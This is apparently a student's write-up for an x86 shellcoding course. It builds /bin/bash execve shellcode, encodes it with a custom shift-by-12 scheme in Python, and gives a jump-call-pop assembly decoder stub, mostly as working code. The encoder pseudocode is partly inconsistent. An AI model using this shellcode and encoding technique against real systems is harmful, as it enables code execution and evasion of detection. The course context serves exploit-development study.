SLAE: Assignment #4

Assignment for the course x86 Assembly Language and Shellcoding on Linux

Jan 16, 2019

Assignment Task:

Create a custom encoding scheme, similar to "Insertion Encoder"
PoC with using execve-stack as the shellcode to encode with schema and execute

The encoding scheme chosen for this assigmnet is AddWelve encoding scheme. It is a variant of caesar cipher in which the byte is shifted forward 12 bytes. The algorithm is as follows:

[code lang="c"]
	Take a byte from shellcode
	Compare it with 0xC (or 12 in decimal) 
		if the byte is less than 0xC:
			go to warp
		else
			add 0xC to the byte

	warp: 
		add 0xC to the byte
		substract 0x100 (or 256 in decimal) from the above value

	go to next byte if length is less than the size of shellcode

[/code]

Generating execve-stack shellcode

For the purpose of this assignment, I will be using the following assembly code:

[code lang="c"]

global _start

section .text

_start:


	PUSH 0x44444343
	PUSH 0x43434242
	PUSH 0x42424168
	PUSH 0x7361622f
	PUSH 0x6e69622f

	xor ebx, ebx
	
	mov [esp+9],bl
	mov [esp+10],esp
	mov [esp+14],ebx

	lea ebx, [esp]
	lea ecx, [esp+10]
	lea edx, [esp+14]

	xor eax,eax
	mov al, 0xb

	int 0x80

[/code]

Compiling and linking this code:

Verifying that shellcode does not contain any nulls.

Generating shellcode using the following command:

[code lang="c"]
 objdump -d ./execve-stack.o|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-7 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
[/code]

Generated shellcode:

[code lang="c"]
"\x68\x43\x43\x44\x44\x68\x42\x42\x43\x43\x68\x68\x41\x42\x42\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x31\xdb\x88\x5c\x24\x09\x89\x64\x24\x0a\x89\x5c\x24\x0e\x8d\x1c\x24\x8d\x4c\x24\x0a\x8d\x54\x24\x0e\x31\xc0\xb0\x0b\xcd\x80"
[/code]

Encoding the shellcode using AddWelve encoding scheme

The following python script takes the shellcode, enocdes it with AddWelve scheme and prints the output in C and DB format:

[code lang="python"]
shellcode = ("\x68\x43\x43\x44\x44\x68\x42\x42\x43\x43\x68\x68\x41\x42\x42\x68\x2f\x62\x61\x73\x68\x2f\x62"
	"\x69\x6e\x31\xdb\x88\x5c\x24\x09\x89\x64\x24\x0a\x89\x5c\x24\x0e\x8d\x1c\x24\x8d\x4c\x24\x0a\x8d\x54"
	"\x24\x0e\x31\xc0\xb0\x0b\xcd\x80")

encodeWithByte = 12 

maxValue = 256 - encodeWithByte

encodedShellcode = ""

db_shellcode = []

for byte in bytearray(shellcode):
    if byte &lt; maxValue:
        encodedShellcode += '\\x%02x' % (byte + encodeWithByte)
        db_shellcode.append('0x%02x' % (byte + encodeWithByte))
    else:
        encodedShellcode += '\\x%02x' % (encodeWithByte - 256 + byte)
        db_shellcode.append('0x%02x' % (encodeWithByte - 256 + byte))

print "Encoded shellcode:\n%s\n" % encodedShellcode

print "DB formatted shellcode (to paste in .nasm file):\n%s\n" % ','.join(db_shellcode)

[/code]

Output from this script:

DB formatted shellcode:

[code lang="c"]
0x74,0x4f,0x4f,0x50,0x50,0x74,0x4e,0x4e,0x4f,0x4f,0x74,0x74,0x4d,0x4e,0x4e,0x74,0x3b,0x6e,0x6d,0x7f,0x74,0x3b,0x6e,0x75,0x7a,0x3d,0xe7,0x94,0x68,0x30,0x15,0x95,0x70,0x30,0x16,0x95,0x68,0x30,0x1a,0x99,0x28,0x30,0x99,0x58,0x30,0x16,0x99,0x60,0x30,0x1a,0x3d,0xcc,0xbc,0x17,0xd9,0x8c
[/code]

Building the decoder

The following assembly code decodes the shellcode encoded with AddWelve scheme. It uses jump-call-pop technique to get the address of the encoded shellcode and then runs the AddWelve algorithm in reverse:

[code lang="c"]
global _start

section .text

_start:

jmp short call_shellcode

decoder: 

	pop esi
	xor ecx, ecx
	mov cl, len

decode:

	cmp byte [esi], 0xC
	jl wrap
	sub byte [esi], 0xC
	jmp short nextByte

wrap:

	xor ebx, ebx
	mov bl, 0xff
	inc bx
	sub bl, 0xC
	add bl, byte [esi]
	mov byte [esi], bl 


nextByte:

	inc esi
	loop decode
	jmp short shellcode



call_shellcode:

call decoder

shellcode:

 db 0x74,0x4f,0x4f,0x50,0x50,0x74,0x4e,0x4e,0x4f,0x4f,0x74,0x74,0x4d,0x4e,0x4e,0x74,0x3b,0x6e,0x6d,0x7f,0x74,0x3b,0x6e,0x75,0x7a,0x3d,0xe7,0x94,0x68,0x30,0x15,0x95,0x70,0x30,0x16,0x95,0x68,0x30,0x1a,0x99,0x28,0x30,0x99,0x58,0x30,0x16,0x99,0x60,0x30,0x1a,0x3d,0xcc,0xbc,0x17,0xd9,0x8c

 len: equ $-shellcode

[/code]